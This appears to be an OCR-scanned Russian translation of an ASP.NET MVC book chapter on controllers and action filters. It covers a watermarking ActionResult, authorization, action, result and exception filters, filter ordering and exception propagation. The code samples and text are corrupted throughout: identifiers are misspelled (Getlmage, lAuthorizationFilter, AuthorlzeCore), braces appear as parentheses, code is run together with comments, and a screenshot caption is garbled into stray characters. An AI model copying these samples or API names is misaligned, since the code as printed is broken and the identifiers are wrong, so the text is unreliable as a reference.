// Визуализировать текст водяного знака в нижнем левом углу var textsize = graphics.Measurestring(WatermarkText, font); graphics.DrawString(WatermarkText, font. Brushes.White, 10, image.Height - textsize.Height - 10);
// Передать изображение в формате PNG (примечание: сначала
// буферизировать в памяти из-за ограничений GDI+)
image.Save(memorystream. ImageFomat.Png);
Глава 9. Контроллеры и действия 279
var response = context.Requestcontext.HttpContext.Response; response.ContentType = "image/png";
response.BinaryWrite(memorystream.GetBuffer());
}
}
}
Имея такой код, на изображение можно наложить метку с текущим временем, используя метод действий, как показано ниже:
public class Watermarkcontroller : Controller (
private static string ImagesDirectory = @"c:\images\";
public WatermarkedlmageResult Getlmage(string fileName) (
I / Для безопасности принимать файлы изображений из определенного каталога var fullPath = Path.Combine(ImagesDirectory, Path.GetFileName(fileName)); string watermarklext = "The time is " + DateTime.Now.ToShortTimeString(); return new WatermarkedlmageResult(fullPath, watermarkText);
Теперь изображение с водяными знаками можно отобразить, добавив в шаблон представления соответствующий дескриптор <img>:
<img src="<%= Url.Action("Getlmage", "Watermark", new {fileName="lemur.jpeg"})%>"/>
Результирующее изображение показано на рис. 9.5.
! http'.<'1cca>ost62&24'bief«ple - Internet иркхег
г- http: 1с сзЙзейгб2п24 /Exsmpfe
Рис. 9.5. Вывод изображения с наложенной меткой с текущим временем
Для проверки метода Getlmage () класса Watermarkcontroller можно написать модульный тест, который вызовет этот метод, получит результирующий объект WatermarkedlmageResult и с помощью его свойств ImageFileName и WatermarkText определит, какой текст будет накладываться на каждое графическое изображение.
Разумеется, в реальном проекте код следовало бы сделать более универсальным, избавившись от жесткого кодирования имени шрифта, размера, цвета и каталога.
280 Часть II. ASP.NET MVC во всех деталях
Использование фильтров для подключения повторно используемого поведения
Добавить дополнительную функциональность в контроллеры и методы действий можно, декорируя их фильтрами. Фильтры — зто атрибуты .NET, которые добавляют дополнительные шаги в конвейер обработки запросов, позволяя встраивать дополнительную логику перед и после запуска методов, перед и после выполнения результатов действий, и даже предусматривать определенные действия в случае возникновения необработанного исключения.
Совет. Если вы не знакомы с концепцией атрибутов .NET, почийте о них сейчас. Атрибуты — это специальные классы .NET, унаследованные от System. Attribute, которые можно присоединять к другим классам, методам, свойствам и полям. В C# зто делается с помощью синтаксиса квадратных скобок. При этом можно также заполнять общедоступные свойства атрибутов согласно синтаксису именованных параметров (например, [MyAttribute (SomeProperty=value) ]). В соответствии с соглашением об именовании, принятым в компиляторе С#, если имя класса атрибута завершается словом Attribute, зту часть имени можно опускать (например, вместо AuthorizeAttribute указывается просто [Authorize]).
Фильтры — ясный и мощный способ реализации перекрестных видов ответствен} юсти. Это означает поведение, которое используется повсеместно, но не размещается в каком-то одном месте традиционной объектно-ориентированной иерархии. Классическими примерами могут служить протоколирование, авторизация и кэширование. Примеры фильтров уже были представлены ранее (например, в главе 6 фильтр [Authorize] применялся для обеспечения безопасности AdminController в приложении SportsStore).
На заметку! Эти атрибуты называются фильтрами потому, что аналогичный термин используется для эквивалентного понятия на других платформах веб-программирования, включая Ruby on Rails. Однако они не имеют никакого отношения к объектам Request. Filter и Response. Filter ядра ASP.NET, так что не путайте их! Объекты Request.Filter и Response.Filter применяются и в ASP.NET MVC (например, для трансформирования выходного потока — сложная и необычная операция), но когда программисты ASP.NET MVC говорят о фильтрах, обычно они имеют в виду нечто совершенно иное.
Четыре базовых типа фильтров
В MVC Framework определены четыре базовых типа фильтров, которые перечислены в табл. 9.4. Эти типы позволяют встраивать логику в разные точки конвейера обработки запросов. Обратите внимание, что ActionFilterAttribute является реализацией по умолчанию для обоих интерфейсов TActionFilter и IResultFilter. Это наиболее универсальный фильтр, фактически помеченный как abstract, поэтому он служит только для наследования от него конкретных подклассов. Тем не менее, другие реализации по умолчанию (AuthorizeAttribute и HandleErrorAttribute) являются конкретными, содержат полезную логику и могут использоваться без создания подклассов.
Чтобы лучше понять эти типы и отношения между ними, взгляните на рис. 9.6. На нем видно, что все атрибуты фильтра унаследованы от FilterAttribute и реализуют один или более интерфейсов фильтров. С помощью темных прямоугольников обозначены готовые к применению конкретные фильтры, а остальные соответствуют интерфейсам и абстрактным базовым классам. Дополнительные сведения о каждом встроенном типе фильтра будут даны далее в этой главе.
Глава 9. Контроллеры и действия 281
Таблица 9.4. Четыре базовых типа фильтров
Тип фильтра	Интерфейс	Когда запускается	Реализация по умолчанию
Фильтр авторизации	lAuthorizationFilter	Первым, перед запуском любого другого фильтра или метода действия.	AuthorizeAttribute
фильтр действия	lActionFilter	Перед или после запуска метода действия.	ActionFilterAttribute
фильтр результата	IResultFilter	Перед или после запуска результата действия.	ActionFilterAttribute
Фильтр исключения	TExceptionFilter	Только в случае, если другой фильтр, метод действия или результат действия генерирует необработанное исключение.	HandleErrorAttribute
{Attribute}
Абстрактный базовый класс для всех атрибутов .NET
Абстрактный базовый класс для фильтров
« ResuitHlter»
- -> << lExceptionfiller >>
Рис. 9.6. Иерархия классов фильтров, встроенных в ASRNET MVC
Для реализации специального фильтра необходимо создать класс, унаследованный от FilterAttribute (базового класса всех атрибутов фильтров), и затем реализовать один или более из четырех интерфейсов фильтров. Например, AuthorizeAttribute наследуется от FilterAttribute и также реализует lAuthorizationFilter. Однако обычно беспокоиться об этом не нужно, поскольку в большинстве случаев можно напрямую использовать конкретные реализации по умолчанию или наследовать от них подклассы.
Применение фильтров к контроллерам и методам действий
Фильтры можно применять либо к индивидуальным методам действий, либо ко всем методам действий заданного контроллера, например:
282 Часть II. ASP.NET MVC во всех деталях
[Authorize (Roles=" trader") ]	// Применяется ко всем действиям контроллера
public class StockTradingController : Controller
{
[OutputCache (Duration=60) ] // Применяется только к этому методу действия public ViewResult CurrentRiskSummary() (
// ... и т.д.
}
}
На любом уровне можно применять сразу несколько фильтров, управляя порядком их выполнения с помощью свойства Order базового класса FilterAttribute. Вопросы управления порядком выполнения фильтров и распространения исключений рассматриваются далее в этом разделе. Теоретически это может оказаться довольно сложным, но на практике нужное поведение фильтров реализуется относительно просто.
На заметку! Если классы контроллеров унаследованы от специального базового класса, то атрибуты фильтров, примененные к базовому классу (или его методам), будут также применены к классам-наследникам контроллеров (или к переопределенным в них методам). Причина в том, что класс FilterAttribute помечен как Inherited = true, а данный механизм относится к самой платформе .NET, а не kASP.NET MVC.
Чтобы прояснить, как упомянутые выше четыре типа фильтров сочетаются с выполнением метода действия, взгляните на показанный ниже псевдокод. Он приблизительно представляет то, что делает ControllerActionlnvoker в своем методе InvokeAction().
try
{
Запустить каждый метод OnAuthorization() на lAuthorizationFilter if (ни один из lAuthorizationFilter не прервал выполнение) {
Запустить каждый метод OnActionExecuting() на lActionFilter
Запустить метод действия
Запустить каждый метод OnActionExecuted() на lActionFilter (в обратном порядке) Запустить каждый метод OnResultExecuting() на IResultFilter Запустить результат действия
Запустить каждый метод OnResultExecuted() на IResultFilter (в обратном порядке)
)
else
{
Запустить любые наборы результатов, установленные фильтрами авторизации }
)
catch (исключение, не обработанное ни одним из действий или фильтров результатов) {
Запустить каждый метод lExceptionFilter OnException()
Запустить каждый набор результатов, установленный фильтрами исключений }
Этот псевдокод отражает общую картину того, что и когда происходит, но недостаточно точно, чтобы исчерпывающе описать распространение исключений вверх через фильтры действий и результатов и то, как их можно обработать перед достижением фильтров исключений. Об этом речь пойдет позже.
Сначала давайте познакомимся поближе с каждым из четырех базовых типов фильтров.
Глава 9. Контроллеры и действия 283
Создание фильтров действий и фильтров результатов
Как упоминалось ранее, универсальные фильтры действий и результатов — это атрибуты .NET, унаследованные от FilterAttribute, который также реализует интерфейсы TActionFilter или IresultFilter. Однако вместо создания чего-то подобного с нуля проще унаследовать подкласс от встроенного ActionFilterAttribute. Это даст комбинацию фильтра действия и фильтра результата (он реализует оба интерфейса), и тогда останется только переопределить интересующие методы.
В интерфейсах TActionFilter и IResultFilter есть четыре метода, соответствующие четырем разным местам в конвейере обработки запросов, куда можно внедрить специальную логику. Эти методы описаны в табл. 9.5 и 9.6.
Таблица 9.5. Методы TActionFilter
(их МОЖНО также переопределить В ActionFilterAttribute)
Метод	Когда вызывается	Специальные операции, которые можно выполнять в методе
OnActionExecuting()	Перед запуском метода действия	Предотвращение выполнения метода действия за счет присваивания свойству filtercontext. Result объекта ActionResult. Просмотр и изменение filtercontext. Actionparameters, которые будут использоваться при вызове метода действия.
OnActionExecuted()	После запуска метода действия	Получение деталей любого исключения, сгенерированного методом действий из filtercontext. Exception, И дополнительная пометка его как обработанного* путем установки filtercontext.ExceptionHandled в true. Просмотр И изменение ActionResult через filtercontext. Result.
* Если не установить filtercontext. ExceptionHandled в true, исключение будет распространяться до следующего фильтра в цепочке. Вскоре вы узнаете больше об этом механизме.
Таблица 9.6. Методы iResultFiiter
(их МОЖНО также переопределить В ActionFilterAttribute)
Метод	Когда вызывается	Специальные операции, которые можно выполнять в методе
OnResultExecuting()	Перед запуском ActionResult	Просмотр (без возможности изменения) ActionResult через filtercontext.Result. Предотвращение выполнения ActionResult путем установки filtercontext.Cancel в true.
OnResultExecuted()	После запуска ActionResult	Получение деталей любого исключения, сгенерированного ActionResult из filtercontext. Exception, и дополнительная пометка его как обработанного* путем установки filtercontext. ExceptionHandled в true. Просмотр (без возможности изменения) ActionResult через filtercontext.Result.
284 Часть II. ASP.NET MVC во всех деталях
Во всех четырех случаях передается параметр контекста filtercontext, который позволяет считывать и записывать некоторый диапазон объектов контекста. Например, он предоставляет доступ к Request и Response. Ниже приведен несколько надуманный пример, который демонстрирует все четыре точки внедрения, производя запись непо средственно в Response:
public class ShowMessageAttribute : ActionFilterAttribute {
public string Message { get; set; }
public override void OnActionExecuting(ActionExecutingContext filterContext) {
filterContext.HttpContext.Response.Write("[BeforeAction " + Message + "]"); }
public override void OnActionExecuted(ActionExecutedContext filterContext) {
filterContext.HttpContext.Response.Write("[AfterAction " + Message + "]"); }
public override void OnResultExecuting(ResultExecutingContext filterContext)
filterContext.HttpContext.Response.Write("[BeforeResult " + Message + "I"); }
public override void OnResultExecuted(ResultExecutedContext filterContext) {
filterContext.HttpContext.Response.Write("[AfterResult " + Message + "]"); }
}
Если присоединить этот фильтр к методу действия, например, так:
public class FiltersDemoController : Controller
{
[ShowMessage(Message = "Howdy")]
public ActionResult SomeAction()
I
Response.Write("Action is running"); return Content("Result is running"); } }
будет получен следующий результат (для ясности добавлен разрыв строки):
[BeforeAction Howdy]Action is running[AfterAction Howdy] [BeforeResult Howdy]Result is running[AfterResult Howdy]
Управление порядком выполнения фильтров
С одним методом действия можно связать сразу несколько фильтров:
[ShowMessage(Message = "А")]
[ShowMessage(Message = "В")]
public ActionResult SomeAction()
{
Response.Write("Action is running"); return Content("Result is running"); }
Глава 9. Контроллеры и действия 285
На заметку! По умолчанию компилятор C# не позволит размещать два экземпляра одного и того же типа атрибута в одном месте. Компиляция прервется с сообщением об ошибке Duplicate ‘ShowMessage’ attribute (Дублирование атрибута ShowMessage). Чтобы обойти это ограничение, разрешите атрибуту фильтра иметь множество экземпляров, вставив непосредственно перед объявлением класса showMessageAttribute следующую строку:
[Attributeusage(AttribureTargets.Class|AttributeTargets.Method, AllowMultiple=true)]
Показанный выше код сгенерирует следующий вывод (для ясности добавлен разрыв строки):
[BeforeAction В][BeforeAction A]Action is running[AfterAction A][AfterAction B] [BeforeResult B][BeforeResult A]Result is running[AfterResult A][AfterResult B]
Как видите, механизм подобен стеку: все начинается с вызова OnActionExecuting (), затем выполняется метод действия, после чего стек раскручивается вызовами OnActionExecuted () в противоположном порядке: то же самое происходит с OnResultExecuting() и OnResultExecuted().
Так получилось, что при запуске кода фильтр В был выбран первым, но это вовсе не обязательно, поскольку формально порядок элементов в стеке фильтра не определен, если только он не указан явно. Определенный порядок для стека фильтров устанавливается присваиванием значения типа int свойству Order каждого фильтра (это свойство определено в базовом классе FilterAttribute):
[ShowMessage(Message = "A", Order = 1)]
[ShowMessage(Message = "В", Order = 2)]
public ActionResult SomeAction()
{
Response.Write("Action is running");
return Content("Result is running");
}
Фильтры с меньшим значением Order идут первыми, поэтому на этот раз Айв появляются в обратном порядке:
[BeforeAction A][BeforeAction В]Action is running[AfterAction В][AfterAction A] [BeforeResult A][BeforeResult B]Result is running[AfterResult B] [AfterResult A]
Все фильтры действий сортируются no Order. Не имеет значения, какой тип фильтра они имеют или на каком уровне определены (на уровне действия, контроллера или базового класса контроллера) — фильтры с меньшим значением Order всегда запускаются первыми. Затем запускаются все фильтры результатов в порядке их значений Order.
Если значение свойству Order явно не устанавливается, то такой фильтр остается “неупорядоченным” и по умолчанию получает специальное значение Order, равное -1. Поскольку явно присвоить значение меньше -1 нельзя, неупорядоченные фильтры всегда выполняются первыми. Как было указано ранее, группы фильтров с одинаковым значением Order (например, неупорядоченные), запускаются в неопределенной последовательности между собой7.
7 На практике фильтры, назначенные контроллерам, выполняются перед фильтрами, назначенными методам действий. Кроме того, порядок определяется выводом метода рефлексии .NET под названием GetCustomAttribures (), который используется внутренне для обнаружения атрибутов фильтров. Этот метод может вернуть атрибуты в другом порядке, отличном от указанного в исходном коде.
286 Часть II. ASP.NET MVC во всех деталях
Использование контроллера в качестве фильтра
Существует другой способ присоединения кода в качестве фильтра, не предусматривающий создание атрибутов. В самом базовом классе Controller есть реализации интерфейсов lActionFilter, IResultFilter, TAuthorizationFilterиlexecutionFilter. Это значит, что он представляет следующие переопределяемые методы:
•	OnActionExecuting()
•	OnActionExecuted()
•	OnResultExecuting()
•	OnResultExecuted()
•	OnAuthorization()
•	OnException()
За счет переопределения любого из них код будет запускаться именно в той точке конвейера обработки запроса, где и эквивалентный атрибут фильтра. Эти методы контроллера запускаются первыми, перед любыми атрибутами фильтра эквивалентного типа, независимо от свойств Order атрибутов. Данные методы предлагают очень быстрый и легкий путь добавления кода контроллера, который выполняется перед или после всех методов действий определенного контроллера либо при возникновении необработанных исключений в конкретном контроллере.
Итак, когда стоит создавать и присоединять атрибут фильтра, а когда просто переопределять методы фильтра базового класса Controller? Ответ прост: если планируется повторно использовать поведение во множестве контроллеров, то фильтр лучше задать атрибутом. Если же он используется в одном специфическом контроллере, то лучше переопределить один из перечисленных выше методов.
Это также означает, что если создать общий базовый класс для всех контроллеров, то можно будет применить код фильтра глобально ко всем контроллерам, просто переопределив метод фильтра в базовом классе. Это гибкий и мощный шаблон Layer Supertype (супертип слоя). Платой за эту мощь может быть дополнительная сложность при долговременном сопровождении, так как слишком просто со временем добавлять все больше и больше кода к базовому классу, даже если этот код нужен только подмножеству контроллеров, и тогда все контроллеры становятся сложными и медленными в работе. Необходимо находить баланс между мощью этого подхода и эффективностью управления базовым классом. Во многих случаях безопаснее не применять шаблон Layer Supertype, а вместо этого строить функциональность комбинированием соответствующих атрибутов фильтра для каждого отдельного контроллера.
Создание и использование фильтров авторизации
Как упоминалось ранее, фильтры авторизации относятся к специальному типу фильтра, который запускается на ранней стадии конвейера обработки запросов, т.е. перед любыми последующими фильтрами действий, методами действий и результатами действий. Создать специальный фильтр авторизации можно, унаследовав его от FilterAttribute или реализовав lAuthorizeFilter. Однако по причинам, которые объясняются чуть ниже, обычно лучше либо использовать встроенный конкретный фильтр авторизации AuthorizeAttribute, либо наследовать подкласс от него.
Свойства класса AuthorizeAttribute, которые можно устанавливать, перечислены в табл. 9.7.
Глава 9. Контроллеры и действия 287
Таблица 9.7. Свойства класса AuthorizeAttribute
Имя свойства	Тип	Назначение
Order	int	Порядок выполнения этого фильтра по отношению к другим фильтрам авторизации. Меньшие значения идут первыми. Унаследовано от FilterAttribute.
Users	string	Разделенный запятыми список имен пользователей, которым разрешен доступ к методу действия.
Roles	string	Разделенный запятыми список имен ролей. Чтобы получить доступ к методу действий, пользователю должна принадлежать, по крайней мере, одна из этих ролей.
Если устанавливаются оба свойства, Users u Roles, то пользователь должен удовлетворять обоим критериям, чтобы иметь доступ к методу действия. Например, если атрибут используется следующим образом:
public class MicrosoftController : Controller
{
[Authorize(Users="billg, steveb, rayo", Roles="chairman, ceo")] public ActionResult BuySmallCompany(string companyName, double price) {
// Поздравить с приобретением. }
}
то пользователь может получить доступ к действию BuySmallCompany, если отвечает всем перечисленным ниже критериям.
1.	Пользователь аутентифицирован (т.е. HttpContext.User. Identity.IsAuthenticated равно true).
2.	Имя пользователя (те. HttpContext. User. Identity .Name) равно billg, steveb или rayo.
3.	Ему принадлежит, как минимум, одна из ролей chairman или сео (как определено HttpContext.User.IsInRole(roleName)).
Если пользователь не отвечает хотя бы одному из этих критериев, то AuthorizeAttribute отменяет выполнение метода действия (и все последующие фильтры) и стимулирует выдачу кода состояния HTTP 401 (что означает “не авторизован”). Код состояния 401 инициирует систему аутентификации (Forms Authentication), которая может предложить пользователю войти в систему или же вернуть экран запрета доступа (access denied).
Если имена пользователей не указаны, то критерий 2 пропускается. Если не указаны имена ролей, то пропускается и критерий 3.
Поскольку фильтр определяет имя и роль приславшего запрос пользователя, просматривая объект IPrincipal в HttpContext. User, он автоматически совместим с Forms Authentication, интегрированной системой Windows Authentication и любыми другими специальными системами аутентификации/авторизации, которые уже установили значение HttpContext.User.
На заметку! Фильтр [Authorize] не предоставляет возможности комбинировать критерии 2 и 3 с помощью операции дизъюнкции (т.е. операции “или”, которая позволила бы пользователю получать доступ к действию, если его регистрационным именем является billg или ему принадлежит роль chairman или то и другое). Чтобы добиться такого поведения, потребуется реализовать специальный фильтр авторизации. Вскоре будет приведен соответствующий пример.
288 Часть II. ASP.NET MVC во всех деталях
Взаимодействие фильтров авторизации с кэшированием вывода
Очень скоро вы узнаете, что ASP.NET MVC также поддерживает кэширование вывода через встроенный фильтр [Outputcache]. Оно работает подобно кэшированию вывода ASP.NET WebForms, в том отношении, что кэширует весь ответ, так что он может быть повторно использован немедленно при следующем запросе того же URL. “За кулисами” фильтр [Outputcache] реализован на основе технологии кэширования ядра платформы ASP.NET, а это означает, что если есть элемент кэша для определенного URL, то он будет использован вместо вызова какой-либо части ASP.NET MVC (даже без фильтров авторизации).
Что же произойдет, если вы попробуете скомбинировать фильтр авторизации с [Outputcache] ? В худшем случае вы рискуете тем, что если первый авторизованный пользователь посетит действие, вызвав его запуск и кэширование, а вскоре за ним к тому же действию обратится неавторизованный пользователь, то последний получит кэшированный вывод, даже не будучи авторизованным. К счастью, разработчики ASP.NET MVC учли эту проблему и добавили специальную логику к AuthorizeAttribute для правильной работы с кэшированием вывода ASP.NET. Эта логика использует малоизвестный API-интерфейс кэширования вывода, чтобы зарегистрировать себя для запуска, когда модуль выходного кэширования собирается обработать ответ из кэша. Это предотвращает доступ неавторизованных пользователей к кэшированному содержимому. Причина объяснения этого запутанного поведения может быть на первый взгляд не ясна. Это сделано потому, что если вы реализуете с нуля собственный фильтр авторизации, наследуя его от FilterAttribute и реализуя TAuthorizationFilter, то не унаследуете этой специальной логики, а потому рискуете открыть доступ неавторизованным пользователям к получению кэшированного содержимого. Поэтому не реализуйте TAuthorizationFilter непосредственно, а создавайте подкласс, унаследованный от AuthorizeAttribute.
Создание специального фильтра авторизации
Как объяснялось ранее, лучший способ создать специальный фильтр авторизации — унаследовать подкласс от AuthorizeAttribute. Для этого потребуется переопределить виртуальный метод AuthorizeCore () и вернуть значение bool, указывающее, авторизован ли пользователь. Например:
public class EnhancedAuthorizeAttribute : AuthorizeAttribute {
public bool AlwaysAllowLocalRequests = false;
protected override bool AuthorlzeCore(System.Web.HttpContextBase httpContext) {
if (AlwaysAllowLocalRequests && httpContext.Request.IsLocal) return true;
// Вернуться к нормальному поведению [Authorize] return base.AuthorizeCore(httpContext);
}
)
Специальный фильтр авторизации может использоваться следующим образом:
[EnhancedAuthorize(Roles = "RemoteAdmln", AlwaysAllowLocalRequests = true)]
Этот фильтр должен открыть доступ посетителям, если они принадлежат к роли RemoteAdmin или непосредственно зарегистрированы в системе Windows на самом сервере. Подобным образом удобно предоставлять администраторам сервера доступ к определенным функциям конфигурирования, не обязательно открывая доступ к ним через Интернет.
Глава 9. Контроллеры и действия 289
Поскольку атрибут унаследован от класса FilterAttribute, он наследует и свойство Order, поэтому можно задавать порядок его применения по отношению к другим фильтрам. Стандартный объект ASP.NET MVC по имени ControllerActionlnvoker запустит каждый из них по порядку. Если любой из фильтров авторизации запрещает доступ, то ControllerActionlnvoker сокращает процесс, не пытаясь запускать последующие фильтры авторизации.
Также из-за того, что класс унаследован от AuthorizeAttribute, он разделяет поведение, обеспечивающее безопасность кэширования вывода и применения HttpUnauthorizedResult, если в доступе отказано.
Совет. Как было описано ранее, специальный код авторизации можно добавить в индивидуальный класс контроллера, не создавая атрибут фильтра авторизации. Для этого нужно просто переопределить метод OnAuthorization () контроллера. Чтобы запретить доступ, присвойте filtercontext.Result любое значение, отличное null, например, экземпляр HttpUnauthorizedResult. Метод OnAuthorization () запустится точно в той же точке конвейера обработки запросов, что и атрибут фильтра авторизации, и может решать те же самые задачи. Однако если логика авторизации должна разделяться между несколькими контроллерами или нужна безопасность кэширования вывода, то лучше реализовать авторизацию в виде подкласса AuthorizeAttribute, как демонстрировалось в предыдущем примере.
Создание и использование фильтров исключений
В приведенном ранее псевдокоде было показано, что фильтры исключений запускаются только тогда, когда появляются необработанные исключения в процессе работы фильтров авторизации, фильтров действий, методов действий, фильтров результатов или самих результатов действий. Фильтры исключений используются в двух основных сценариях.
•	Для протоколирования исключения.
•	Для отображения пользователю соответствующего экрана с сообщением об ошибке.
В нестандартных случаях можно реализовать специальный фильтр исключения, а в простых — использовать встроенный фильтр HandleErrorAttribute.
Использование фильтра HandleErrorAttribute
Фильтр HandleErrorAttribute позволяет обнаруживать специальные типы исключений и после их обнаружения просто визуализировать определенный шаблон представления и установить код состояния HTTP в 500 (что означает “внутренняя ошибка сервера”). Основное его предназначение связано с отображением некоторого рода экрана с сообщением о возникших проблемах. Он не протоколирует исключение — для этого потребуется создать специальный фильтр исключений.
В классе HandleErrorAttribute определены четыре свойства, которые перечислены в табл. 9.8.
Таблица 9.8. Свойства класса HandleErrorAttribute
Имя свойства	Тип	Значение
Order	int	Порядок выполнения этого фильтра по отношению к другим фильт-
рам исключений. Меньшие значения идут первыми. Унаследован от FilterAttribute.
ExceptionType Туре	Фильтр обработает этот тип исключений (и унаследованные от него
типы) и проигнорирует все прочие. Значением по умолчанию является System. Exception, означающее, что по умолчанию будут обрабатываться все исключения.
290 Часть II. ASP.NET MVC во всех деталях
	Окончание табл. 9.8	
Имя свойства	Тип	Значение
View	string	Имя шаблона представления, который этот фильтр визуализирует. Если значение не указано, то по умолчанию оно равно Error, что приводит к визуализации страницы /Views/имяТекущегоКонтроллера/Еггог.aspx или /Views/Shared/Error.aspx.
Master	string	Имя мастер-страницы, используемой для визуализации шаблона представления. Если значение не указано, представление использует свою мастер-страницу по умолчанию.
Предположим для примера, что этот фильтр применяется так, как показано ниже:
[HandleError(View = "Problem")]
public class Examplecontroller : Controller
{
/* ... методы действий ... */ }
В таком случае, если во время запуска любого метода действия (или ассоциированного фильтра) на этом контроллере возникнет исключение, то HandleErrorAttribute попытается визуализировать представление из одного из перечисленных мест:
1.	-/Views/Example/Problem.aspx
2.	~/Views/Example/Problem.asex
3.	~/Views/Shared/Problem.aspx
4.	-/Views/Shared/Problem.asex
На заметку! Фильтр HandleErrorAttribute оказывает действие только тогда, если в файле web. config включен режим обработки специальных ошибок. Для этого в узел <system. web> следует добавить элемент <customErrors mode="On" />. По умолчанию устанавливается режим специальных ошибок RemoteOnly, при котором во время разработки фильтр HandleErrorAttribute не перехватывает исключения вообще, а делает это только после того, как приложение развернуто на рабочем сервере, и начинают поступать запросы с другого компьютера. Во избежание сложностей, установите режим обработки специальных ошибок в On.
При визуализации представления фильтр HandleErrorAttribute предоставляет объект Model типа HandleErrorlnfo. Поэтому, если сделать шаблон представления обработки ошибок строго типизированным (указав HandleErrorlnfo в качестве типа модели), появится возможность обращаться и визуализировать информацию об исключении. Поместим для примера следующий код в /Views/Shared/Problem. aspx:
<%@ Page Language="C#" Inherits="System.Web.Mvc.ViewPage<HandleErrorInfo>" %> <I DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd">
Chtml xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Sorry, there was a problem!</title>
</head>
<body>
<P>
There was a
<b><%= Html.Encode(Model.Exception.GetType().Name) %></b>
Глава 9. Контроллеры и действия 291
while rendering
<b><%= Html.Encode(Model.ControllerName) %></b>'s
<b><%= Html.Encode(Model.ActionName) %></b> action.
</p>
<P>
The exception message is:
<b><%= Html.Encode(Model.Exception.Message) %></b>
</p>
<p>Stack trace:</p>
<pre><%= Html.Encode(Model.Exception.StackTrace) %></pre>
</body>
</html>
В результате будет отображен экран, подобный показанному на рис. 9.7. Естественно, на публично доступном веб-сайте вряд ли стоит предоставлять на общее обозрение информацию подобного рода (особенно содержимое стека), но во время разработки она будет полезной.
Рис. 9.7. Визуализация представления из HandleErrorAttribute
Когда фильтр HandleError Attribute обрабатывает исключение и отображает представление, он помечает исключение как обработанное, устанавливая свойство по имени ExceptionHandled в true. Назначение и смысл этого действия станут ясными в следующем примере.
Создание специального фильтра исключения
Как и следовало ожидать, можно создать специальный фильтр исключений, построив класс, унаследованный от FilterAttribute и реализующий lexceptionFilter. Один из подходов состоит в том, чтобы просто протоколировать исключение в базе данных или в журнале событий приложений Windows и поручить другому фильтру генерацию видимого вывода для пользователя. Другой подход предполагает генерацию видимого вывода (т.е. визуализацию представления или перенаправление) за счет присваивания объекта ActionResult свойству filtercontext.Result. Ниже показан пример специального фильтра исключений, который осуществляет перенаправление:
public class RedirectOnErrorAttribute : FilterAttribute, lExceptionFilter
{
public void OnException(Exceptioncontext filtercontext)
{
// He вмешиваться, если исключение уже обработано
if(filtercontext.ExceptionHandled)
return;
292 Часть II. ASRNET MVC во всех деталях
// Уведомить следующий запрос о том, что что-то пошло не так filtercontext.Controller.TempData["exception"] = filterContext.Exception;
// Установить перенаправление к глобальному обработчику ошибок filterContext.Result = new RedirectToRouteResult(new RouteValueDictionary( new { controller = "Exception", action = "HandleError" }
) ) ;
// Посоветовать последующим фильтрам исключений не вмешиваться, //и предотвратить выдачу "желтого экрана смерти" ASP.NET filterContext.ExceptionHandled = true;
// Удалить сгенерированный вывод
filterContext.HttpContext.Response.Clear();
}
}
В этом примере демонстрируется применение filterContext .ExceptionHandled. Это свойство типа bool, которое изначально равно false, однако по мере запуска фильтров исключений один из них может переключить его в true. Это, однако, не заставит ControllerActionlnvoker прекратить запускать последующие фильтры исключений. Он все равно выполнит все оставшиеся фильтры исключений, что удобно, если какие-то из них должны протоколировать исключения8.
Флаг filterContext. ExceptionHandled сообщает последующим фильтрам исключений, что вы позаботились обо всем, поэтому они могут игнорировать данное исключение. Однако зто не принуждает их игнорировать исключение: они могут все равно протоколировать его, и даже переопределить filterContext .Result. Встроенный фильтр HandleErrorAttribute ведет себя корректно: если filterContext. ExceptionHandled уже установлен в true, он полностью игнорирует исключение.
После того, как все фильтры исключений запущены, ControllerActionlnvoker по умолчанию проверяет filterContext. ExceptionHandled, чтобы узнать, считается ли исключение обработанным. Если оно все еще равно false, то исключение будет передано в среду ASP.NET, что приведет к знакомому “желтому экрану смерти” (если только не был установлен глобальный обработчик исключений ASP.NET).
Совет. Как было описано ранее, специальный код обработки исключений можно поместить в индивидуальный класс контроллера, не создавая атрибутов фильтра исключений, а просто переопределяя вместо этого метод контроллера onException (). Этот код будет запускаться в той же точке конвейера обработки запросов, что и атрибут фильтра исключений, и может выполнять ту же работу. Если не планируется разделять код обработки исключений с другими контроллерами, то такой подход заметно проще.
Распространение исключений по фильтрам действий и результатов
Фильтры исключений не являются единственным средством для перехвата и обработки исключений.
• Если метод действия генерирует необработанное исключение, то методы OnActionExecuted () всех фильтров действий также будут запущены, и любой из них может пометить исключение как обработанное, установив filterContext. ExceptionHandled в true.
8 Как будет показано в следующем разделе, поведение изменяется, если исключение будет помечено как обработанное фильтром действий или фильтром результатов: это не позволит последующим фильтрам даже увидеть это исключение.
Глава 9. Контроллеры и действия 293
• Если результат действия генерирует необработанное исключение, то все методы OnResultExecuted () фильтров результатов также будут запущены, и любой из них может пометить исключение как обработанное, установив filtercontext. ExceptionHandledв true.
Чтобы прояснить работу этого процесса и понять, почему методы OnActionExecuted () запускаются в порядке, противоположном OnActionExecuting () , взгляните на рис. 9.8. На нем видно, что каждый фильтр в цепочке создает дополнительный уровень рекурсии.
Фильтр действия 1
OnActionExecutingO
Фильтр действия 2
OnActionExecutingO
Фильтр действия 3
OnActionExecutingO
OnActionExecutedO а'Я

Метод действия
Метод действия
Рис. 9.8. Рекурсивный вызов фильтров действия из метода действия
Когда на любом уровне возникает исключение, оно перехватывается на уровне выше, причем вызывается OnActionExecutedO этого уровня. Если OnActionExecuted() устанавливает filtercontext.ExceptionHandled в true, то исключение поглощается, и никакой другой фильтр его больше не увидит (в том числе и фильтры исключений). В противном случае оно генерируется повторно и перехватывается на следующем уровне, расположенном выше. В конечном итоге, если самый верхний фильтр действия (т.е. первый) не помечает исключение как обработанное, то будут вызваны фильтры исключений.
Точно такая же последовательность событий происходит при обработке фильтров результатов и результатов действий. Исключения распространяются вверх по вызовам OnResultExecuted () почти так же, будучи поглощенными или отправленными дальше. Если верхний (те. первый) фильтр результата не помечает исключение как обработанное, вызываются фильтры исключений.
Как упоминалось ранее, если исключение достигает фильтров исключений, то запускаются все фильтры исключений. И если в конце окажется, что ни один из них не пометил исключение как обработанное, то исключение генерируется повторно в самом ASP.NET, что может привести к появлению “желтого экрана смерти” или отображению специальной страницы с сообщением об ошибке.
Скрытая подробность
